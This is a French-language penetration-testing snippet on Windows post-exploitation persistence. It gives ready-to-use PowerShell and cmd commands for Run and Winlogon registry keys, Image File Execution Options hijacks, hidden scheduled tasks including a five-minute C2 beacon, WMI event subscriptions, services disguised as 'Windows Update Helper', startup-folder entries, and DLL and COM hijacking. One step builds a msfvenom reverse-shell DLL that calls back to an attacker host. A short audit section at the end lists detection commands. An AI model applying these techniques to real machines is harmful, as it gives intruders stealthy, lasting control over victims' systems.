---
title: "Persistance Windows — Registry, Scheduled Tasks, WMI"
domain: security
subdomain: pentest
phase: 05-post-exploitation
type: snippet
tags: [persistence, windows, registry, scheduled-tasks, wmi, service, dll-hijacking, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Vue d'ensemble

```
Mécanisme          | Prérequis  | Discrétion | Survit au reboot
───────────────────┼────────────┼────────────┼─────────────────
Registry Run keys  | User/Admin | Moyenne    | Oui
Scheduled Task     | User/Admin | Faible     | Oui
WMI Subscription   | Admin      | Haute      | Oui
Service Windows    | Admin      | Faible     | Oui
DLL Hijacking      | User       | Haute      | Oui
Startup Folder     | User       | Faible     | Oui
COM Hijacking      | User       | Haute      | Oui
```

---

## Registry Run Keys

```powershell
# HKCU (utilisateur courant — pas d'admin requis)
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "{{REG_KEY_NAME}}" -Value "C:\Windows\Temp\{{PAYLOAD}}.exe"

# HKLM (tous les utilisateurs — admin requis)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "{{REG_KEY_NAME}}" -Value "C:\Windows\Temp\{{PAYLOAD}}.exe"

# RunOnce — s'exécute une seule fois au prochain login
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" `
  -Name "{{KEY_NAME}}" -Value "C:\Windows\Temp\{{PAYLOAD}}.exe"
```

```powershell
# Autres clés de persistance registre
# Winlogon — exécuté au login (admin)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" `
  -Name "Userinit" -Value "C:\Windows\System32\userinit.exe,C:\Windows\Temp\{{PAYLOAD}}.exe,"

# Image File Execution Options — hooker un binaire légitime (admin)
# → Se lance à la place de calc.exe (ou à côté)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" `
  -Name "Debugger" -Value "C:\Windows\Temp\{{PAYLOAD}}.exe"
```

---

## Tâches planifiées

```powershell
# Créer une tâche planifiée (admin)
$action  = New-ScheduledTaskAction -Execute "C:\Windows\Temp\{{PAYLOAD}}.exe"
$trigger = New-ScheduledTaskTrigger -AtLogOn
$settings = New-ScheduledTaskSettingsSet -Hidden   # masquée dans Task Scheduler
Register-ScheduledTask -Action $action -Trigger $trigger `
  -TaskName "{{TASK_NAME}}" -RunLevel Highest -Force

# Au démarrage du système
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -Action $action -Trigger $trigger `
  -TaskName "{{TASK_NAME}}" -RunLevel Highest -Force

# Toutes les 5 minutes (C2 beacon)
$trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 5) -Once -At (Get-Date)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "{{TASK_NAME}}" -Force
```

```cmd
# Via schtasks.exe (ligne de commande)
schtasks /create /tn "{{TASK_NAME}}" /tr "C:\Windows\Temp\{{PAYLOAD}}.exe" `
  /sc onlogon /ru System /f

# Tâche masquée (attribut SecurityDescriptor)
schtasks /change /tn "{{TASK_NAME}}" /SD "D:(A;;FA;;;BA)"
```

---

## WMI Event Subscription (très discret)

```
WMI Subscription = filtre + consommateur + liaison
  Filtre    : condition déclenchante (timer, événement système)
  Consumer  : action (exécuter un script, un binaire)
  Binding   : lie le filtre au consommateur
→ Aucun processus visible, aucune entrée dans le planificateur de tâches
→ Survit aux reboots
```

```powershell
# Créer un abonnement WMI — s'exécute toutes les 60 secondes
$filterName   = "{{WMI_FILTER_NAME}}"
$consumerName = "{{WMI_CONSUMER_NAME}}"
$payload      = "C:\Windows\Temp\{{PAYLOAD}}.exe"

# Filtre (timer 60s)
$wmiFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
    Name           = $filterName
    EventNamespace = "root\cimv2"
    QueryLanguage  = "WQL"
    Query          = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# Consommateur (exécuter un binaire)
$wmiConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
    Name            = $consumerName
    ExecutablePath  = $payload
    CommandLineTemplate = $payload
}

# Liaison filtre → consommateur
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
    Filter   = $wmiFilter
    Consumer = $wmiConsumer
}
```

```powershell
# Vérifier les abonnements WMI existants
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Supprimer les abonnements
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __EventConsumer | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Remove-WmiObject
```

---

## Service Windows

```powershell
# Créer un nouveau service (admin)
sc.exe create "{{SERVICE_NAME}}" binPath= "C:\Windows\Temp\{{PAYLOAD}}.exe" start= auto
sc.exe description "{{SERVICE_NAME}}" "Windows Update Helper"  # description innocente
sc.exe start "{{SERVICE_NAME}}"

# PowerShell
New-Service -Name "{{SERVICE_NAME}}" `
  -BinaryPathName "C:\Windows\Temp\{{PAYLOAD}}.exe" `
  -StartupType Automatic `
  -Description "Windows Update Helper"
Start-Service "{{SERVICE_NAME}}"
```

---

## Startup Folder

```powershell
# Répertoire Startup de l'utilisateur (pas d'admin)
$startupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Copy-Item "C:\Windows\Temp\{{PAYLOAD}}.exe" "$startupPath\{{PAYLOAD}}.exe"

# Ou créer un lien raccourci
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("$startupPath\{{SHORTCUT_NAME}}.lnk")
$shortcut.TargetPath = "C:\Windows\Temp\{{PAYLOAD}}.exe"
$shortcut.WindowStyle = 7   # Minimisé (discret)
$shortcut.Save()

# Startup All Users (admin requis)
$allUsersStartup = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
Copy-Item "C:\Windows\Temp\{{PAYLOAD}}.exe" "$allUsersStartup\{{PAYLOAD}}.exe"
```

---

## DLL Hijacking (sans admin)

```powershell
# Identifier les DLLs manquantes dans les apps de l'utilisateur
# Process Monitor → filter: Result = "NAME NOT FOUND" + Path ends with ".dll"

# Cibler une app qui se lance au démarrage (ex: OneDrive, Teams, Slack)
# Placer une DLL malveillante dans son répertoire de recherche

# Générer la DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} `
  -f dll -o missing_lib.dll

# Placer dans %APPDATA% ou le dossier utilisateur de l'app
Copy-Item missing_lib.dll "$env:APPDATA\Microsoft\Teams\missing_lib.dll"
```

---

## COM Hijacking (sans admin)

```powershell
# Les clés HKCU\Software\Classes\CLSID précèdent HKLM\Software\Classes\CLSID
# Créer une entrée HKCU pour hijacker un COM chargé par des apps légitimes

# Trouver les CLSIDs chargés depuis HKLM sans équivalent HKCU (via Process Monitor)
# Créer l'entrée HKCU
$clsid = "{{TARGET_CLSID}}"
New-Item -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" `
  -Name "(default)" -Value "C:\Windows\Temp\evil.dll"
Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32" `
  -Name "ThreadingModel" -Value "Apartment"
```

---

## Nettoyage / Défense

```powershell
# Audit des Run keys
Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Run

# Audit des tâches planifiées
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft\*" }

# Audit des abonnements WMI
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding |
  Select-Object Filter, Consumer

# Audit des services non-Microsoft
Get-Service | Where-Object { $_.Status -eq 'Running' } | ForEach-Object {
  $path = (Get-WmiObject Win32_Service -Filter "Name='$($_.Name)'").PathName
  if ($path -notmatch "System32|SysWOW64|Program Files") {
    Write-Host "$($_.Name) → $path"
  }
}

# Autoruns (Sysinternals) — vue complète de tous les points de persistance
.\autoruns64.exe -a *    # CLI
.\Autoruns.exe           # GUI
```

<Warning>
Les abonnements WMI sont particulièrement furtifs car ils ne créent aucune entrée visible dans l'interface graphique, ne nécessitent aucun fichier .exe dans un dossier de démarrage, et survivent aux reboots. Ils sont stockés dans la base de données WMI (OBJECTS.DATA dans C:\Windows\System32\wbem\Repository). Seul Autoruns ou une requête WQL directe les révèle.
</Warning>
